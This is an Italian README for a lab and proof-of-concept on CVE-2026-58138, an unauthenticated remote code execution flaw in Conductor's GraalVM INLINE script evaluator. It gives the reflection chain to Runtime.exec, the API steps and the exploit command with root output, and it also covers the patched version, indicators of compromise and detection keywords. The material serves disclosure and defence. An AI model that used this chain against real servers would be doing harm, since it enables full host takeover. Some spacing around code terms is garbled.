
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE non autenticato tramite l'evaluator INLINE di GraalVM (HostAccess.ALL). Lab + PoC, verificato e2e (root).
TL;DR: Orkes/OSS Conductor (versioni
3.21.21a< 3.30.2) valuta JavaScript fornito dall'utente nei taskINLINEutilizzando un contesto GraalVM con accesso completo all'host (HostAccess.ALL). Poiché l'API community non ha autenticazione per impostazione predefinita, qualsiasi utente non autenticato può inviare un workflow malevolo, pivotare dall'oggetto JavaScript associato ajava.lang.Runtimee ottenere Esecuzione di Codice Remota (RCE) non autenticata come utente del processo Conductor (spessoroot).
Nota sulle versioni: Le versioni fino a
~3.29.xutilizzano la configurazione sempliceallowHostAccess(HostAccess.ALL), che questo PoC sfrutta direttamente. Le versioni3.30.0e3.30.1hanno introdotto una blocc list parziale (bloccando alcune riflessioni), ma la correzione completa (allowHostClassLoading(false)+ rafforzamento del motore) è stata implementata solo nella **3.30.2`**. Questo PoC colpisce la configurazione senza sandbox.
La vulnerabilità risiede nel modo in cui Conductor configura il contesto poliglotta GraalVM per la valutazione degli script.
In core/.../events/ScriptEvaluator.java (≤ 3.29.x), il contesto viene costruito così:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // PERICOLO: piena interop host, nessun sandbox
.build();
Perché è un game over:
HostAccess.ALL concede al motore JavaScript il permesso di chiamare qualsiasi metodo o accedere a qualsiasi campo su oggetti host Java.INLINE associa i suoi parametri di input alla variabile JavaScript $, che è un vero oggetto Java.$:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").Context.newBuilder("python").allowAllAccess(true)).L'attacco richiede zero autenticazione e segue tre semplici passaggi:
POST a /api/metadata/workflow con una definizione di workflow malevola. Il task INLINE contiene il payload JavaScript riflessivo nel suo campo expression.POST a /api/workflow/{workflow_name} per attivare il workflow.Runtime.exec esegue il comando del sistema operativo, e il PoC cattura abilmente lo stdout e lo restituisce come output result del task, che viene poi recuperato tramite l'API.Avvia un'istanza locale della versione vulnerabile di Conductor usando Docker.
# Clona il repository e avvia l'ambiente di laboratorio
docker compose -f docker/docker-lab.yml up -d
# Attendi circa 60 secondi per l'avvio completo del server all-in-one
Esegui lo script di exploit Python fornito. Si basa solo sulla libreria standard Python (nessuna dipendenza esterna richiesta).
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
Nota: L'output uid=0(root) prova l'esecuzione genuina sull'host, non una risposta simulata.
Lo sfruttamento riuscito concede all'attaccante esecuzione arbitraria di comandi del sistema operativo sull'host orchestratore di Conductor.
Poiché Conductor è spesso distribuito con privilegi elevati per gestire l'infrastruttura, ciò di solito comporta:
≥ 3.30.2. In questa versione, i valutatori JS e Python non vengono più eseguiti con accesso host o caricamento di classi abilitato.Monitora il tuo ambiente per i seguenti indicatori di compromissione (IoC):
INLINE, LAMBDA, DO_WHILE o SWITCH contenente stringhe expression che facciano riferimento a:
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect o accesso generico al package java.sh, bash, ) o effettuano connessioni di rete in uscita.Per un approfondimento sulla catena di riflessione, sulle configurazioni specifiche del valutatore per versione e sull'analisi della patch, consulta ANALYSIS.md.
Disclaimer: Questo repository contiene un laboratorio indipendente e riproducibile e una Proof of Concept (PoC) destinata strettamente a scopi difensivi, educativi e di test di sicurezza autorizzati. Non utilizzare questo codice contro sistemi di cui non possiedi o per i quali non hai esplicita autorizzazione scritta per testarli. Gli autori declinano ogni responsabilità per uso improprio.
| Attributo | Dettagli |
|---|
| Identificatore CVE | CVE-2026-58138 |
| Software affetto | Conductor 3.21.21 fino a 3.30.1 |
| Versione corretta | 3.30.2 (Commit: 87a7d96, c691e35) |
| Classe di vulnerabilità | CWE-94: Iniezione di codice (bypass del sandbox poliglotta GraalVM) |
| Punteggio CVSS v3.1 | 9.8 (Critico) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna (l'API community non è autenticata per impostazione predefinita) |
| Verifica | Confermato come root contro conductoross/conductor:3.22.3 |
cmd.exe